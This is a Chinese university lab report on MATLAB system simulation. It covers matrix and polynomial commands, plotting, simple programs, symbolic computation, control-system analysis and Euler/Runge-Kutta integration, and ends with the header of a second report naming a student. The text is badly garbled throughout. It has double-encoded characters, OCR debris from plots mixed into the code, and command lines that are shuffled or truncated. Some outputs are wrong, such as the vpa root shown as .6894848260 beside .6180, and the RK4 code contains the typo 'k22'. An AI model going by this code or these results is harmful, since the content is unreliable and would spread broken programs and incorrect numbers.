第一篇:中南大學(xué)系統(tǒng)仿真實(shí)驗(yàn)報(bào)告
ans =
實(shí)驗(yàn)一 MATLAB 中矩陣與多項(xiàng)式的基本運(yùn)算 實(shí)驗(yàn)任務(wù) 1.了解 MATLAB 命令窗口和程序文件的調(diào)用。?熟悉如下 MATLAB 的基本運(yùn)算:
① 矩陣的產(chǎn)生、數(shù)據(jù)的輸入、相關(guān)元素的顯示; ② 矩陣的加法、乘法、左除、右除; ③ 特殊矩陣:?jiǎn)挝痪仃嚒ⅰ?1 ”矩陣、“ 0 ”矩陣、對(duì)角陣、隨機(jī)矩陣的產(chǎn)生和 運(yùn)算; ④ 多項(xiàng)式的運(yùn)算:多項(xiàng)式求根、多項(xiàng)式之間的乘除。
基本命令訓(xùn)練 1、>> eye(2)ans = 1 0 0 1 >> eye(4)ans = 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 2、>> ones(2)1 1
ans =1 >> ones(4)ans = 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 >> ones(2,2)ans = 1 1 1 1 >> ones(2,3)ans = 1 1 1 1 1 1 >> ones(4,3)ans = 1 1 1 1 1 1 1 1 1 1 1 1 3、>> zeros(2)
0 0 0 0 >> zeros(4)ans = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> zeros(2,2)ans = 0 0 0 0 >> zeros(2,3)ans = 0 0 0 0 0 0 >> zeros(3,2)ans = 0 0 0 0 00 4、隨機(jī)陣 >> rand(2,3)ans = 0.2785 0.9575 0.1576 0.5469 0.9649 0.9706 >> rand(2,3)
ans = 0.9572 0.8003 0.4218 0.4854 0.1419 0.9157 5、>> diag(5)ans = 5 >> diag(5,5)ans = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> diag(2,3)ans = 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 6、(inv(A)為求 A 的逆矩陣)>> B=[5 3 1;2 3 8;1 1 1],inv(B)3 1
1
ans =
0.6250 0.2500-2.6250-0.7500-0.5000 4.7500 0.1250 0.2500-1.1250
>> A=[2 3;4 4],B=[5 3;3 8],inv(A),inv(B);AB,A/B,inv(A)*B,B*inv(A)A = 2 3 4 4 B = 5 3 3 8 ans =-1.0000 0.7500 1.0000-0.5000 ans =-2.7500 3.0000 3.5000-1.0000 ans = 0.2258 0.2903 0.6452 0.2581 ans =-2.7500 3.0000
3.5000 -1.0000 ans =-2.0000 2.2500 5.0000-1.7500 7、>> p =[1,-6,-72,-27], roots(p)p = 1-6-72-27 ans = 12.1229-5.7345-0.3884 >> p=[2,3,6],roots(p)p = 2 3 6 ans =-0.7500 + 1.5612i-0.7500-1.5612i 8、(A 為 n*n 的方陣)>> A=[0 1 0;-4 4 0;-2 1 2],poly(A),B=sym(A),poly(B)A = 0 1 0-4 4 0-2 1 2 ans =-6 12-8
B = [ 0, 1, 0] [-4, 4, 0] [-2, 1, 2]
ans = x A 3-6*x A 2+12*x-8 9,、(conv 是多項(xiàng)式相乘,deconv 是多項(xiàng)式相除)>> u=[1 2 4 6 ],v=[5 0 0-6 7],conv(u,v)u = 1 2 4 6 v =0 0-6 7
ans =10 20 24-5-10-8 42
>> v=[1 2 4 6 ],u=[5 0 0-6 7],deconv(u,v)v = 1 2 4 6 u = 5 0 0-6 7 ans = 5-10 10、(點(diǎn)乘是數(shù)組的運(yùn)算,沒(méi)有點(diǎn)的乘是矩陣運(yùn)算)
>> a = [2 5;3 4], b =[3 1;4 7],a.*b,a*b a = 2 5 3 4 b = 3 1 4 7 ans = 6 5 12 28 ans = 26 37 25 31 >> a = [2 3];b = [4 7];a.*b = [8 21];a*b %錯(cuò)誤 a*b“ = 29;11、(who 可以看到你用過(guò)的一些變量,來(lái)了)
>> who Your variables are: A B a ans b p u >> whos Name Size Bytes whos 是把該變量及所存儲(chǔ)的大小等信息都顯示出 Class Attributes 2x2 32 double
B 2x2 32 double a 1x2 16 double ans 1x2 16 double b 1x2 16 double p
1x3 24 double u 1x5 40 double v 1x4 32 double12、>> A=[2 5 3;6 5 4],disp(A),size(A),length(A)A = 2 5 3 6 5 4 2 5 3 6 5 4 ans = 2 3 ans = 3 實(shí)驗(yàn)二 MATLAB 繪圖命令 實(shí)驗(yàn)任務(wù) 熟悉 MATLAB 基本繪圖命令,掌握如下繪圖方法:.坐標(biāo)系的選擇、圖形的繪制;?圖形注解(題目、標(biāo)號(hào)、說(shuō)明、分格線)的加入;3 ?圖形線型、符號(hào)、顏色的選取 基本命令訓(xùn)練 1、>>t=[0:pi/360:2*pi];x=cos(t)+ cos(t*4);y=si n(t)+ sin(t*4);xlabel(”x 軸“);ylabel(”y 軸“);plot(y,x),grid;2、>> t=0:0.1:100;x=3*t;y=4*t;z=si n(2*t);plot3(x,y,z, ”g:“)
■15 i 0 5 0 05 1 1 5 2
3、>>x = linspace(-2*pi,2*pi,40);y=si n(x);stairs(x,y)4、>> t=[0:pi/360:2*pi];x=cos(t)+ cos(t*4)+ sin(t*4);y=si n(t)+ si n(t*4);plot(y,x, ”r:“);
xlabel(”x 軸“);ylabel(”y 軸“);
6、>>th=[0:pi/20:2*pi];x=exp(j*th);plot(real(x),imag(x),”r-.“);grid;text(0,0,”中心“);
5、>> th=[0:pi/1000:2*pi]”;r=cos(2*th);polar(th,r);title(“四葉草圖”)270 四葉草圖
7、>>x=-2:0.01:2;8、y=-2:0.01:2;9、[X,Y] = meshgrid(x,y);Z = Y.*exp(-X.A 2-Y.A 2);[C,h] = con tour(X, YZ);set(h,“ShowText”,“o n”,“TextStep”,get(h,“LevelStep”)*2)_ 1OS ?I ,5 2 ■n.s o o.s 8、>>x = 0:0.2:10;y = 2*x+3;subplot(411);plot(x,y);grid;title(“y 的原函數(shù)”);subplot(412);semilogy(x,y);grid;title(“對(duì) y 取對(duì)數(shù)”);丫的原畫(huà)數(shù) 40----------1------------------------------------------1--------------------1--------------------1-----------------------------------------1--------------------1-------------------1--------
l| I p | il ■ | i| I 九 _____ 1-___ — ___ I ____ L ___ :…… :
___ J _
_______ L ___ u i| I |l I , il _-■」 “ j I ■I __ h-_____________ I I ■ Q 」 【 I 1
F I I I I II I I IT 10 1
□ 1 2 3 4 5 6 r 6 9 10 , 對(duì) y 取對(duì)數(shù) 對(duì)弋觀對(duì)數(shù) subplot(413);semilogx(x,y);10 10 id 10 1lZ 10 w 10 10 40 20 0 對(duì)好對(duì)數(shù) ?掌握循環(huán)、分支語(yǔ)句的編寫(xiě),學(xué)會(huì)使用 look for、help 命令
grid;title(”對(duì) x 取對(duì)數(shù)“);subplot(414);loglog(x,y);grid;title(”對(duì) xy 均取對(duì)數(shù)“);9、>>x =-3:0.3:3;bar(x,exp(-x.*x),”g“)實(shí)驗(yàn)三 MATLAB 程序設(shè)計(jì) 實(shí)驗(yàn)任務(wù) 1 ?熟悉 MATLAB 程序設(shè)計(jì)的方法和思路;
程序舉例 1、>> f=[1,1];i=1;while f(i)+f(i+1)<1000 f(i+2)=f(i)+f(i+1);i=i+1;end f,i f = Columns 1 through 14 1 1 2 3 5 8 13 21 34 55 89 144 233 377 Columns 15 through 16 610 987 i = 15 2、>> m=3;n=4;for i=1:m for j=1:n a(i,j)=1/(i+j-1);end end format rat1/2 1/3 1/2 1/3 1/4 1/3 1/4 1/5(分?jǐn)?shù)格式形式。用有理數(shù)逼近顯示數(shù)據(jù))>>m=5;n=4;for i=1:m for j=1:n a(i,j)=1/(i+j-1);end end format rat a a = 1 1/2 1/3 1/4 1/2 1/3 1/4 1/5 1/3 1/4 1/5 1/6 1/4 1/5 1/6 1/7 1/5 1/6 1/7 1/8 3、程序中沒(méi)有 format rat 命令時(shí),如果上次運(yùn)行結(jié)果沒(méi)有清除,輸出的結(jié)果就是上次運(yùn)行的 結(jié)果!但是運(yùn)用 clear 命令清楚之前的運(yùn)行結(jié)果之后就會(huì)正常運(yùn)行。
4、>> x=input(”請(qǐng)輸入 x 的值:’);if x==10 y=cos(x+1)+sqrt(x*x+1);else y=x*sqrt(x+sqrt(x));1/4 1/5 1/6
end y
請(qǐng)輸入 x 的值 :2 y = 2391/647 x=input(“請(qǐng)輸入 x 的值:’);if x==10 y= fprintf(” 不在定義域內(nèi),請(qǐng)重新輸入:
“);return else y=1/(x-10);end y 請(qǐng)輸入 x 的值 :2-1/8 5、>> p=[0 0 0 1 3 0 2 0 0 9];for i=1:length(p), if p(1)==0,p=p(2:length(p));end;end;p
p = Columns 1 through 5 3
0
0 Columns 6 through 7
0 9
>>p=[0 0 0 1 3 0 2 0 0 9];p(p==0)=[];p
p =3
6、>> e2(500)
ans =1 2 3 5 8 13 21 34 55 89 144 233
377 >> lookfor ffibno e2-ffibno 計(jì)算斐波那契亞數(shù)列的函數(shù)文件 >> help e2 ffibno 計(jì)算斐波那契亞數(shù)列的函數(shù)文件 n 可取任意自然數(shù) 程序如下(用法:
lookfor 關(guān)鍵詞 在所有 M 文件中找 “關(guān)鍵詞 ”,比如:
lookfor max(即尋找關(guān)鍵詞 “ max”)
其實(shí)就和我們平時(shí)用 CTRL+F 來(lái)查找關(guān)鍵詞”是一樣的 而 help 是顯示 matlab 內(nèi)置的幫助信息 用法:
help 命令,比如 help inv,作用就是調(diào)用 inv 這個(gè)命令的幫助)
程序設(shè)計(jì)題 用一個(gè) MATLAB 語(yǔ)言編寫(xiě)一個(gè)程序:輸入一個(gè)自然數(shù),判斷它是否是素?cái)?shù),如果是,輸出“ It is one prime ”,如果不是,輸出“ It is n ot o ne prime.”。要求通 過(guò)調(diào)用子函數(shù)實(shí)現(xiàn)。
最好能具有如下功能:
①設(shè)計(jì)較好的人機(jī)對(duì)話界面,程序中 含有提示
性的輸入輸出語(yǔ)句。
②能實(shí)現(xiàn)循環(huán)操作,由操作者輸入相關(guān)命令來(lái)控制 是否繼續(xù)進(jìn)行素?cái)?shù)的判斷。
如果操作者希望停止這種判斷,則可以退出程序。
③ 如果所輸入的自然數(shù)是一個(gè)合數(shù),除了給出其不是素?cái)?shù)的結(jié)論外,還應(yīng)給出至少 一種其因數(shù)分解形式。例:輸入 6,因?yàn)?6 不是素?cái)?shù)。則程序中除了有“ It is not one prime ”的結(jié)論外,還應(yīng)有:“ 6=2*3 ”的說(shuō)明。
function sushu while 1 x=input(” 請(qǐng)輸入一個(gè)自然數(shù) “);if x<2 disp(” 既不是質(zhì)數(shù)又不是合數(shù) “);Else if isprime(x)==1 disp(” 這是一個(gè)素?cái)?shù) “);Else disp(” 這是一個(gè)合數(shù),可以因式分解為:
“)for n=2:sqrt(x)if rem(x,n)==0 num3=x;num1=n;num2=x/n;disp([num2str(num3),”=“,num2str(num1),”x“,num2str(num2)])End End End
end y=input(” 是否繼續(xù)判斷?繼續(xù)請(qǐng)按 1 ,按任意鍵退出 :
“); if y~=1 break end end 實(shí)驗(yàn)四 MATLAB 的符號(hào)計(jì)算與 SIMULINK 的使用 實(shí)驗(yàn)任務(wù) 1.掌握 MATLAB 符號(hào)計(jì)算的特點(diǎn)和常用基本命令;2.掌握 SIMULINK 的使用。
程序舉例 1.求矩陣對(duì)應(yīng)的行列式和特征根 >> a=sym(”[a11 a12;a21 a22]“);da=det(a)ea=eig(a)da = a11*a22-a12*a21 ea = 1/2*a11+1/2*a22+1/2*(a11 A 2-2*a11*a22+a22 A 2+4*a12*a21)A(1 /2)1/2*a11+1/2*a22-1/2*(a11 A 2-2*a11*a22+a22 A 2+4*a12*a21)A(1 /2)a=sym(”[2 3;1 5]“);
da=det(a)ea=eig(a)da = 7 ea = 7/2+1/2*21A(1/2)7/2-1/2*21A(1/2)2.求方程的解(包括精確解和一定精度的解)>> r1=solve(”xA2+x-1“)rv=vpa(r1)rv4=vpa(r1,4)
rv20=vpa(r1,20)r1 = 1/2*5 八(1/2)-1/2-1/2*5 八(1/2)-1/2 rv =.6894848260-1.689484826 rv4 =.6180-1.618 rv20 =.689484820-1.68948482 3 . a=sym(”a“);b=sym(”b“);c=sym(w=10;x=5;y=-8;z=11;A=[a,b;c,d] B=[w,x;y,z] det(A)det(B)A = [ a, b] ”c“);d=sym(”d“);%定義 4 個(gè)符號(hào)變量 %定義 4 個(gè)數(shù)值變量 %建立符號(hào)矩陣 A %建立數(shù)值矩陣 B %計(jì)算符號(hào)矩陣 A 的行列式 %計(jì)算數(shù)值矩陣 B 的行列式
[ c, d]
X
10-8 11 ans = a*d-b*c ans = 150 4.? syms x y;s=(-7*x A 2-8*y A 2)*(-x A 2+3*y A 2);expand(s)% 對(duì) s 展開(kāi) collect(s,x)% 對(duì) s 按變量 x 合并同類項(xiàng)(無(wú)同類項(xiàng))
factor(ans)% 對(duì) ans 分解因式
ans = 7*xA4-13*xA2*yA2-24*yA4 ans = 7*xA4-13*xA2*yA2-24*yA4 ans =(8*yA2+7*xA2)*(xA2-3*yA2)5.對(duì)方程 AX=b 求解 >> A=[34,8,4;3,34,3;3,6,8];b=[4;6;2];X=linsolve(A,b)% 調(diào)用 linsolve 函數(shù)求解 Ab % 用另一種方法求解
0.0675 0.1614
diff(f)%未指定求導(dǎo)變量和階數(shù),按缺省規(guī)則處理
0.1037 ans = 0.0675 0.1614 0.1037 6 . 對(duì)方程組求解 a11*x1+a12*x2+a13*x3=b1 a21*x1+a22*x2+a23*x3=b2 a31*x1+a32*x2+a33*x3=b3 >>syms a11 a12 a13 a21 a22 a23 a31 a32 a33 b1 b2 b3;A=[a11,a12,a13;a21,a22,a23;a31,a32,a33];b=[b1;b2;b3];XX=Ab %用左除運(yùn)算求解(X=linsolve(A,b)%調(diào)用 linsolve 函數(shù)求的解)XX =(a12*a23*b3-a12*b2*a33+a13*a32*b2-a13*a22*b3+b1*a22*a33-b1*a32*a23)/(a11*a22*a33-a11*a32*a23-a12*a21*a33+a32*a21*a13-a22*a31*a13+a31*a12*a 23)-(a11*a23*b3-a11*b2*a33-a21*a13*b3-a23*a31*b1+b2*a31*a13+a21*b1*a33)/(a11*a22*a33-a11*a32*a23-a12*a21*a33+a32*a21*a13-a22*a31*a13+a31*a12* a23)(a32*a21*b1-a11*a32*b2+a11*a22*b3-a22*a31*b1-a12*a21*b3+a31*a12*b2)/(a11*a22*a33-a11*a32*a23-a12*a21*a33+a32*a21*a13-a22*a31*a13+a31*a12*a 23)7 . syms a b t x y z;f=sqrt(1+exp(x));
%求 f 對(duì) x 的二階導(dǎo)數(shù) %求 f 對(duì) x 的三階導(dǎo)數(shù) %按參數(shù)方程求導(dǎo)公式求 y 對(duì) x 的導(dǎo)數(shù) ans = 1/2/(1+exp(x))A(1/2)*exp(x)ans =-2*si n(x)-x*cos(x)ans =-3*cos(x)+x*si n(x)ans =-b*cos(t)/a/si n(t)三、SIMULINK 的使用
f=x*cos(x);diff(f,x,2)diff(f,x,3)f1=a*cos(t);f2=b*si n(t);diff(f2)/diff(f1)
diff(f)%未指定求導(dǎo)變量和階數(shù),按缺省規(guī)則處理
仿真圖: 波形圖: 其中: G i(R
0.14
實(shí)驗(yàn)五 MATLAB 在控制系統(tǒng)分析中的應(yīng)用 實(shí)驗(yàn)任務(wù) 1.掌握 MATLAB 在控制系統(tǒng)時(shí)間響應(yīng)分析中的應(yīng)用;2.掌握 MATLAB 在系統(tǒng)根軌跡分析中的應(yīng)用; 3.掌握 MATLAB 控制系統(tǒng)頻率分析中的應(yīng)用; 4.掌握 MATLAB 在控制系統(tǒng)穩(wěn)定性分析中的應(yīng)用 基本命令 1.step 2.impulse 3.in itial 4.Isim 5.rlocfi nd 6.bode 7.margin 8.nyquist 9.Nichols 10.cloop 程序舉例 1.求下面系統(tǒng)的單位階躍響應(yīng) 1.5 G(s)
t >> num=[4];den=[1 , 1 , 4];step(num , den)[y , x , t]=step(num , den);tp=spli ne(y , t , max(y))% 計(jì)算峰值時(shí)間 max(y)% 計(jì)算峰值 tp = Step Response 0.5 Time(sec)p m 1.6062 ans = 1.4441 0.18 0.16
2.求如下系統(tǒng)的單位階躍響應(yīng) X i 0 1 X i 0 u X 2 6 5 X 2 1
>> a=[0,1;-6,-5];b=[0;1];c=[1,0];d=0;[y,x]=step(a,b,c,d);Plot(y)
1,0 X i X 2 3.求下面系統(tǒng)的單位脈沖響應(yīng): G(s)兒 >> num=[4];den=[1 , 1 ,4];impulse(nu m,de n)Time(sec)Response to Initial Conditions 4.已知二階系統(tǒng)的狀態(tài)方程為: e u p m A 0.25 0.2 0.15 0.1 0.05 0-0.05
L I 1-
r
-廠、、/ Impulse Response
c=[1 , 0] ;
d=[0];xO=[1 ,0] ; subplot(1 , 2,1);in itial(a , b , c ,d,x0)subplot(1 , 2,2);impulse(a , b , c , d):系統(tǒng)傳遞函數(shù)為: G(s)占 輸入正弦信號(hào)時(shí),觀察輸出 信號(hào)的相位差。
>> num=[1];den=[1 ,1];t=0 : 0.01 : 10;u=s in(2*t);hold on plot(t,u, ”r“)lsim(nu m,de n,u,t)
Real Axis
6.有一二階系統(tǒng),求出周期為 4 秒的方波的輸出響應(yīng) 2s 2
5s 1 ~2 s 2s 3 >>num=[2 5 1];den=[1 2 3];t=(0:.1:10);period=4;u=(rem(t,period)>=period./2);% 看 rem 函數(shù)功能 lsim(nu m,de n,u,t);7.已知開(kāi)環(huán)系統(tǒng)傳遞函數(shù),繪制系統(tǒng)的根軌跡,并分析其穩(wěn)定性
G(s)k(s 2)(s 2
4s 3)2
>>num=[1 2];den 仁 [1 4 3];den=conv(de n1,de n1);figure(1)-6 rlocus(num,den)[k,p]= rlocfi nd(nu m,de n)l L l ■ 匚一 L — C--------------------
---------
-r t r r
-10-8-6-4-2 4 6 Root Locus 0 2 2 2
0 0 2 2--CPXA vyanma n-8 2.5 G(s)Lin ear Simulati on Results1.5 e 0.5-0.5-1-1.5-2 Time(sec)p m
impulse response(k=55)
5
figure(2)k=55;num 仁 k*[1 2];den=[1 4 3];den 1=c onv(de n,den);[nu m,de n]=cloop(nu m1,de n1,-1);impulse(nu m,de n)title(”impulse resp onse(k=55)“)-1.5-1 0 200 400 600 Time(sec)800 1000 1200 5 5
0 05
0 0
o
--x 10 8!-------
impulse resp on se(k=56)figure(3)k=56;num 仁 k*[1 2];den=[1 4 3];den 1=c onv(de n,den);[nu m,de n]=cloop(nu m1,de n1,-1);impulse(nu m,de n)-2-4-6-8 L
0 500 1000 Time(sec)title(”impulse resp on se(k=56)“)1500 2000 2500
Select a point in the graphics win dow selected_po int =-2.5924-0.0248i 0.7133-3.4160-2.5918-0.9961 + 0.4306i-0.9961-0.4306i Bode Diagram 8.作如下系統(tǒng)的 bode 圖 G(s)>> n=[1 , 1];d=[1 , 4,11 , 7];bode(n , d),grid on Frequency(rad/sec)s 1 s 3
4s 2
11s 7 9.系統(tǒng)傳函如下 G(s)s 1 0.5s e(s 2)3 求有理傳函的頻率響應(yīng),然后在同一張圖上繪出以四階伯德近似表示的系統(tǒng)頻 率響應(yīng) >> num=[1];de n=co nv([1 2],co nv([1 2],[1 2]));
w=logspace(-1,2);t=0.5;
ylabel(”gai n“);subplot(2,1,2);semilogx(w,p1,w,p2,”g--“);grid on;xlabel(”freque ncy“);ylabel(”phase“);10.已知系統(tǒng)模型為
求它的幅值裕度和相角裕度 >> n=[3.5];d=[1 2 3 2];[Gm,Pm,Wcg,Wcp]=margi n(n,d)
G(s)3.5 s 3
2s 2
3s 2 bode plot [m1,p1]=bode(nu m,de n, 2);p1=p1-t*w”*180/pi;[n 2,d2]=pade(t,4);nu mt=c onv(n2,nu m);den t=(c onv(de n, d2));2 freque xlabel(“freque
Gm =
1.1433 Pm =
7.1688 Wcg =
1.7323 Wcp =
1.6541
nyq uist(n, d1);hold on nyq uist(n, d2);nyq uist(n, d3);nyq uist(n, d4);Nyquist Diagram 80 |--------------------
--------------------[--------------------[---------
11.二階系統(tǒng)為: G(s)n s 2n S S 令 wn=1, 分別作出 E =2,1 , 0.707 , C A 5 y
a 時(shí)的 nyquist 曲線。
m >> n=[1];d 仁 [1 , 4,1];d2=[1 , 2 , 1] ; d3=[1 , 1.414,1];d4=[1,1,1];Nyquist Diagram Real Axis 12.已知系統(tǒng)的開(kāi)環(huán)傳遞函數(shù)為
_一-”—一 一-一_一_ ~-60
005
S S
2)
S S32
S S
v vr ra an nk ky ya a
14.一多環(huán)系統(tǒng),其結(jié)構(gòu)圖如下,使用 Nyquist 頻率曲線判斷系統(tǒng)的穩(wěn)定性。
16.7s(0.85s 1)(0.25s 1)(0.0625s 1)繪制系統(tǒng)的 Nyqusit 圖, 并討論系統(tǒng)的穩(wěn)定性.>> G=tf(1000,co nv([1,3,2],[1,5]));nyquist(G);axis(”square“)13.分別由 w 的自動(dòng)變量和人工變量作下列系統(tǒng)的 nyquisF 曲線:
m
G(s)1 s(s 1)>> n=[1];d=[1 , 1 ,0];nyquist(n ,d);% 自動(dòng)變量 n=[1];d=[1 , 1 ,0];w=[0.5 : 0.1 : 3];nyq uist(n , d , w);% 人工變量-2-1-1.5-0.9-0.8-0.7-0.6-0.5 Real Axis-0.4-0.3-0.2-0.1 5 5
--0 0
S SI IX XA A
u u^ ^a an nT T9 9a a
卩
G(s)
30 20 10 0
figure(2)[nu m2,de n2]=cloop(nu m,de n);impulse(nu m2,de n2);
>> k1=16.70.0125;z1=[0];p1=[-1.25-4-16];[nu m1,de n1]=zp2tf(z1,p1,k1);[nu m,de n]=cloop(nu m1,de n1);[z,p,k]=tf2zp(nu m,de n);p figure(1)nyq uist(nu m,de n)-2-1 Nyquist Diagram-0.5 0 0.5 Real Axis 1 1.5 1 0.5 s a 0 n g m-0.5-1-1.5 1.5 20 Impulse Resp onse-10.5969 +36.2148i-10.5969-36.2148i-0.0562 15.已知系統(tǒng)為: eanML—pm
-5-10-15 0 0.1 0.2 0.3 Time(sec)Nichols Chart 0.4 0.5 0.6-2 10 0 10 2
Open-Loop Phase(deg)Frequency(rad/sec)
G(s)s(s 1)作該系統(tǒng)的 nichols 曲線。
>> n=[1];d=[1 , 1 , 0];ni chols(n , d);16.已知系統(tǒng)的開(kāi)環(huán)傳遞函數(shù)為: G(s)k s(s 1)(s 2)當(dāng) k=2 時(shí),分別作 nichols 曲線和波特圖 >> num=1;den=conv(co nv([1 0],[1 1]),[0.5 1]);subplot(1,2,1);ni chols(nu m,de n);grid;B
% n ichols 曲線 G subplot(1,2,2);2 g=tf(nu m,de n);bode(feedback(g,1,-1));grid;Nichols Chart koflr ea M^hnaaM
msuvesaB—
50
--
00
-270 Bode Diagram
90--
% 波特圖 17.系統(tǒng)的開(kāi)環(huán)傳遞函數(shù)為:
分別確定 k=2 和 k=10 時(shí)閉環(huán)系統(tǒng)的穩(wěn)定性 >> d 仁 [1 , 3,2,0];n 仁 [2];[nc1 , dc1]=cloop(n1 , d1 ,-1);roots(dc1)d2=d1;n2=[10];[nc2 , dc2]=cloop(n2 , d2,-1);roots(dc2)ans =-2.5214-0.2393 + 0.8579i-0.2393-0.8579i ans =-3.3089 0.1545 + 1.7316i 0.1545-1.7316i 18.系統(tǒng)的狀態(tài)方程為:
X 1 4 3 0 X 1 1 X 2 1 0 0 X 2 0 u X 3 0 1 0 X 3 0
X 1
y 0 1 2 x 2
X 3
G(s)k s(s 1)(s 2)
試確定系統(tǒng)的穩(wěn)定性。
>> a=[-4,-3,0;1,0,0;0,1,0];b=[1;0;0];c=[0,1,2];d=0;eig(a)% 求特征根 ran k(ctrb(a,b))ans = 0-1-3 ans = 3 實(shí)驗(yàn)六連續(xù)系統(tǒng)數(shù)字仿真的基本算法 實(shí)驗(yàn)任務(wù) 1.理解歐拉法和龍格-庫(kù)塔法的基本思想; 2 ?理解數(shù)值積分算法的計(jì)算精度、速度、穩(wěn)定性與步長(zhǎng)的關(guān)系;程序舉例 1.取 h=0.2 ,試分別用歐拉法、RK2 法和 RK4 法求解微分方程的數(shù)值解,并 比較計(jì)算精度。
注:解析解:y(t).1 2t >> clear t(1)=0 ; y(1)=1;y_euler(1)=1;y_rk2(1)=1;y_rk4(1)=1;h=0.001;% 步長(zhǎng)修改為 0.001 for k=1:5 y(t)y(t)y(0)2t y(t)1
t(k+1)=t(k)+h;y(k+1)=sqrt(1+2*t(k+1));end for k=1:5 y_euler(k+1)=y_euler(k)+h*(y_euler(k)-2*t(k)/y_euler(k));end for k=1:5 k1= y_rk2(k)-2*t(k)/y_rk2(k);k2=(y_rk2(k)+h*k1)-2*(t(k)+h)/(y_rk2(k)+h*k1);y_rk2(k+1)=y_rk2(k)+h*(k1+k2)/2;end for k=1:5 k1= y_rk4(k)-2*t(k)/y_rk4(k);k2=(y_rk4(k)+h*k1/2)-2*(t(k)+h/2)/(y_rk4(k)+h*k1/2);k3=(y_rk4(k)+h*k22)-2*(t(k)+h/2)/(y_rk4(k)+h*k2/2);k4=(y_rk4(k)+h*k3)-2*(t(k)+h)/(y_rk4(k)+h*k3);
y_rk4(k+1)=y_rk4(k)+h*(k1+2*k2+2*k3+k4)/6;end disp(” 時(shí)間 解析解 yt=[t“, y”, y_euler“, y_rk2”, y_rk4“];disp(yt)歐拉法 RK2 法 RK4 法 ”)時(shí)間 解析解 歐拉法 RK2 法 RK4法0 1.0000 1.0000 1.0000 1.0000 0.0010 1.0010 1.0010 1.0010 1.0010 0.0020 1.0020 1.0020 1.0020 1.0020 0.0030 1.0030 1.0030 1.0030 1.0030 0.0040 1.0040 1.0040 1.0040 1.0040 0.0050 1.0050 1.0050 1.0050 1.0050
y(t)2Ry(t)y(t)0 在 0 t 10 上的數(shù)字仿真解(已知:
y(0)y(0)0),并將不同步長(zhǎng)下的仿真結(jié)果與解析解進(jìn)行精度比較。
說(shuō)明:
已知該微分方程的解析解分別為:
100,yt y t 100cost(當(dāng) R 0)100e 2t c°s 仝 t 10 ^ e*s in 仝 t 2 3 2(當(dāng) R 0.5)采用 RK4 法進(jìn)行計(jì)算,選擇狀態(tài)變量: 2.考慮如下二階系統(tǒng):
x 1 y x 2 y 則有如下?tīng)顟B(tài)空間模型及初值條件 x 1 x 2 x 1(0)100 x 2 x 1 2Rx 2 x 2(0)0 y x 1 采用 RK4 法進(jìn)行計(jì)算。
>> clear h=input(“ 請(qǐng)輸入步長(zhǎng) h=”);M=round(10/h);t(1)=0;y_0(1)=100;y_05(1)=100;和 y_05 分別對(duì)應(yīng)于為 R=0 和 R=0.5)x1(1)=100;x2(1)=0;y_rk4_0(1)=x1(1);y_rk4_05(1)=x1(1);% 求解析解 for k=1:M t(k+1)=t(k)+h;y_0(k+1)=100*cos(t(k+1));y_05(k+1)=100*exp(-t(k+1)/2).*cos(sqrt(3)/2*t(k+1))+100*sqrt(3)/3*exp(-t(k+1)/2).*si n(sqrt(3)/2*t(k+1));end% 輸入步長(zhǎng) % 置總計(jì)算步數(shù) % 置自變量初值 % 置解析解的初始值(y_0 % 置狀態(tài)向量初值 % 置數(shù)值解的初值
% 利用 RK4 法求解 % R=0 for k=1:M k11=x2(k);k12=-x1(k);k21=x2(k)+h*k12/2;k22=-(x1(k)+h*k11/2);k31=x2(k)+h*k22/2;k32=-(x1(k)+h*k21/2);k41=x2(k)+h*k32;k42=-(x1(k)+h*k31);x1(k+1)=x1(k)+h*(k11+2*k21+2*k31+k41)/6;x2(k+1)=x2(k)+h*(k12+2*k22+2*k32+k42)/6;y_rk4_0(k+1)=x1(k+1);end % R=0.5 for k=1:M k11=x2(k);k12=-x1(k)-x2(k);k21=x2(k)+h*k12/2;k22=-(x1(k)+h*k11/2)-(x2(k)+h*k12/2);k31=x2(k)+h*k22/2;k32=-(x1(k)+h*k21/2)-(x2(k)+h*k22/2);k41=x2(k)+h*k32;k42=-(x1(k)+h*k31)-(x2(k)+h*k32);x1(k+1)=x1(k)+h*(k11+2*k21+2*k31+k41)/6;x2(k+1)=x2(k)+h*(k12+2*k22+2*k32+k42)/6;y_rk4_05(k+1)=x1(k+1);end % 求出誤差最大值 err_0=max(abs(y_0-y_rk4_0));err_05=max(abs(y_05-y_rk4_05));% 輸出結(jié)果 disp(“ 最大誤差(R=0)
最大誤差(R=0.5)”)
err_max=[err_0,err_05];disp(err_max)
請(qǐng)輸入步長(zhǎng) h=0.5 最大誤差(R=0)
最大誤差(R=0.5)
0.4299 0.0460 沒(méi)運(yùn)行一次程序,輸入一個(gè)步長(zhǎng),記得可到相應(yīng)的最大誤差,將結(jié)果可列表如 下:
步長(zhǎng) h 0.0001 0.0005 0.001 0.005 0.01 0.05 0.1 0.5
F =0 5.4330 1.6969 1.0574 4.1107 6.6029 4.1439 6.6602 4.2988 差 最大誤 X 10-10 X 10-10 X 10-10 X 10-9 X 10-8 X 10-5 X 10-4 X 10-1
R=0.5 2.7649 6.8123 5.3753 4.0902 6.5425 4.1365 6.7152 4.5976 差 最大誤 X 10-11 X 10-12 X 10-12 X 10-10 X 10-9 X 10-6 X 10-5 X 10-2 從上表中可以看出,當(dāng)步長(zhǎng) h=0.001 時(shí),總誤差最??;當(dāng)步長(zhǎng) h 小于 0.001 時(shí),由于舍入誤差變大而使總誤差增加;當(dāng)步長(zhǎng) h 大于 0.001 時(shí),則由于截?cái)嗾` 差的增加也使得總誤差加大。另外,當(dāng)系統(tǒng)的解變化激烈時(shí)(如 R=0),誤差對(duì) 步長(zhǎng)的變化較為敏感;當(dāng)系統(tǒng)的解變化平穩(wěn)時(shí),步長(zhǎng)的變化對(duì)誤差的影響就要緩 和得多。數(shù)值積分算法確定以后,在選擇步長(zhǎng)時(shí),需要綜合考慮。
第二篇:中南大學(xué)化工原理仿真實(shí)驗(yàn)報(bào)告
化工原理計(jì)算機(jī)仿真實(shí)驗(yàn)
班級(jí):化學(xué)工程與工藝1102班
姓名:王翔
學(xué)號(hào):1505110321
日期:2014年1月1日
本套軟件系統(tǒng)包括8個(gè)單元仿真實(shí)驗(yàn):
